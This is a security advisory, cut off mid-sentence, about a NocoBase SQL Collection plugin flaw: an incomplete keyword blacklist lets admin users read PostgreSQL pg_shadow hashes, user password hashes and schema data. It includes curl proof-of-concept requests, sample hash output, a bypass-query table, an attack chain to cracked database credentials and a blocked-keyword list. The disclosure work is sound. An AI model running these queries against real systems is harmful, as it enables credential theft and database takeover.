GHSA-v8vm-cqh8-q87q NocoBase: Sensitive Data Exposure via SQL Blacklist Bypass

• npm @nocobase/plugin-collection-sql: < 2.0.62 → fixed in 2.0.62 • npm @nocobase/plugin-collection-sql: >= 2.1.0-alpha.1, < 2.1.0-alpha.46 → fixed in 2.1.0-alpha.46 • npm @nocobase/plugin-collection-sql: >= 2.1.0-beta.1, < 2.1.0-beta.45 → fixed in 2.1.0-beta.45

Security Vulnerability Report: Sensitive Data Exposure via SQL Blacklist Bypass Summary The `checkSQL()` function in `plugin-collection-sql` implements a keyword-based blacklist to prevent dangerous SQL queries from being executed through the SQL Collection feature. However, the blacklist is incomplete: it only checks for a subset of dangerous PostgreSQL system functions and does not restrict access to sensitive system catalog tables such as `pg_shadow`, `pg_roles`, or `pg_stat_activity`. An authenticated user with the `admin` role can exploit this to dump PostgreSQL password hashes (`pg_shadow`), read all NocoBase user credentials (hashed passwords from the `users` table), and enumerate the full database schema — all data that admin users should never be able to access through the application interface. --- Affected Component File: `packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts` ```typescript export const checkSQL = (sql: string) => { const dangerKeywords = [ // PostgreSQL — BLOCKED 'pg_read_file', 'pg_read_binary_file', 'pg_stat_file', 'pg_ls_dir', 'pg_logdir_ls', 'pg_terminate_backend', 'pg_cancel_backend', 'current_setting', 'set_config', 'pg_reload_conf', 'pg_sleep', 'generate_series', // MySQL — BLOCKED 'LOAD_FILE', 'BENCHMARK', '@@global.', '@@session.', // SQLite — BLOCKED 'sqlite3_load_extension', 'load_extension', ]; // NOT BLOCKED: pg_shadow, pg_roles, pg_stat_activity, // information_schema, users table direct access, etc. sql = sql.trim().split(';').shift(); if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) { throw new Error('Only supports SELECT statements or WITH clauses'); } if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) { throw new Error('SQL statements contain dangerous keywords'); } }; ``` The `execute` action in `sql.ts` passes user-supplied SQL directly through this insufficient check: ```typescript // sql.ts — execute action execute: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; try { checkSQL(sql); // ← insufficient validation } catch (e) { ctx.throw(400, ctx.t(e.message)); } // SQL is executed directly against the database const data = await model.findAll({ attributes: ['*'], limit: 5, raw: true }); ctx.body = { data, fields, sources }; } ``` --- Root Cause The blacklist approach is fundamentally incomplete. It attempts to enumerate every dangerous construct but misses entire categories: 1. PostgreSQL system catalog tables — `pg_shadow`, `pg_authid`, `pg_roles`, `pg_stat_activity` are not restricted 2. Application-level sensitive tables — `users` (containing hashed passwords) can be queried directly 3. `information_schema` — full schema enumeration is possible 4. Schema-qualified variants — even some blocked functions could be bypassed via `pg_catalog.` prefix (e.g. `pg_catalog.pg_read_file` may bypass checks in older versions) The correct approach is an allowlist (whitelist) of permitted tables/schemas, not a blacklist of forbidden keywords. --- Steps to Reproduce Prerequisites: A user account with the `admin` role (has the `pm.data-source-manager.collection-sql` ACL snippet). Step 1: Authenticate and obtain a token: ```bash TOKEN=$(curl -s -X POST http:///api/auth:signIn \ -H "Content-Type: application/json" \ -d '{"email":"[email protected]","password":""}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['token'])") ``` Step 2: Dump PostgreSQL password hashes from `pg_shadow`: ```bash curl -s -X POST http:///api/sqlCollection:execute \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"sql":"SELECT usename, passwd FROM pg_shadow LIMIT 10"}' ``` Response: ```json { "data": { "data": [ { "usename": "nocobase", "passwd": "SCRAM-SHA-256$4096:wmmGvfjPHRDsnzjOfHCmUQ==$fAXKBU7y3Ymmgg0iq6ibc66fN+v3Q7FaX86RgxP0tTY=:enn2dRiXhUQ2N5o4bRtZLNB3B8FpAdKC8Cp3HZ/hSFU=" } ] } } ``` Step 3: Dump NocoBase user credentials: ```bash curl -s -X POST http:///api/sqlCollection:execute \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"sql":"SELECT id, email, username, password FROM users LIMIT 100"}' ``` Response (verified): ```json { "data": { "data": [ { "id": 1, "email": "[email protected]", "username": "nocobase", "password": "1afc4721f320c4e097ac4aaca33544e7dadcc8cd7d57d40240f987bdbcbc686b" } ] } } ``` --- Additional Verified Bypass Queries | Query | Blocked? | Data Exposed | |-------|----------|--------------| | `SELECT usename, passwd FROM pg_shadow` |Not blocked | PostgreSQL DB user password hashes | | `SELECT id, email, password FROM users` |Not blocked | All NocoBase user credential hashes | | `SELECT table_name FROM information_schema.tables` |Not blocked | Full database schema enumeration | | `SELECT rolname, rolsuper FROM pg_roles` |Not blocked | All DB roles and superuser flags | | `SELECT pid, query FROM pg_stat_activity` |Not blocked | Live SQL queries from all sessions | | `SELECT pg_read_file('/etc/passwd')` |Blocked | — | | `SELECT current_setting('app.key')` |Blocked | — | --- Why Admin-Required Still Matters This vulnerability is rated High despite requiring admin-level authentication. The reasoning: 1. Security Boundary Violation (Scope Changed → S:C) The `admin` role in NocoBase is an application-level role — it manages workflows, collections, and UI. It is not a database administrator. Accessing `pg_shadow` is a PostgreSQL system-level privilege that admins should never have. The `checkSQL()` function was explicitly created to enforce this boundary; bypassing it breaks the intended security model. 2. Data That Admin Cannot Access Through Normal UI Even with admin privileges, NocoBase's UI and API do not expose: • `pg_shadow` (PostgreSQL internal password store) • Raw `users.password` hashes via standard API responses • Full `information_schema` enumeration VUL-2 grants access to all of the above — data the application explicitly chose not to expose. 3. Enables Lateral Movement The `pg_shadow` SCRAM-SHA-256 hashes can be subjected to offline dictionary attacks. If cracked, the attacker gains direct PostgreSQL access with the application's DB credentials — bypassing the NocoBase application layer entirely. This enables reading all data in the database (not just what NocoBase exposes), modifying records directly, and accessing data from other schemas. 4. Enables Full Attack Chain When Combined with Other Vulnerabilities ``` Member user (lowest privilege) → VUL-8: Trigger a pre-built RCE workflow (any logged-in user can trigger) → VUL-1: RCE reads APP_KEY from process.env → Forge JWT with admin role → VUL-2: Dump pg_shadow + users.password → Crack hashes → full PostgreSQL access ``` --- Impacted API Endpoint ``` POST /api/sqlCollection:execute ``` • Authentication: Required (`admin` role) • ACL Snippet registered in `plugin.ts`: ```typescript this.app.acl.registerSnippet({ name: `pm.data-source-manager.collection-sql`, actions: ['sqlCollection:*'], // includes :execute }); ``` • The `admin` role includes this snippet by default. --- Recommended Fixes Fix 1 (Immediate): Extend the blacklist with system catalog tables ```typescript const dangerKeywords = [ // ... existing entries ... // ADD: PostgreSQL system catalog tables with sensitive data 'pg_shadow', 'pg_authid', 'pg_auth_members', 'pg_stat_activity', 'pg_roles', // Note: information_schema should also be restricted for non-DBA roles ]; ``` Fix 2 (Reco…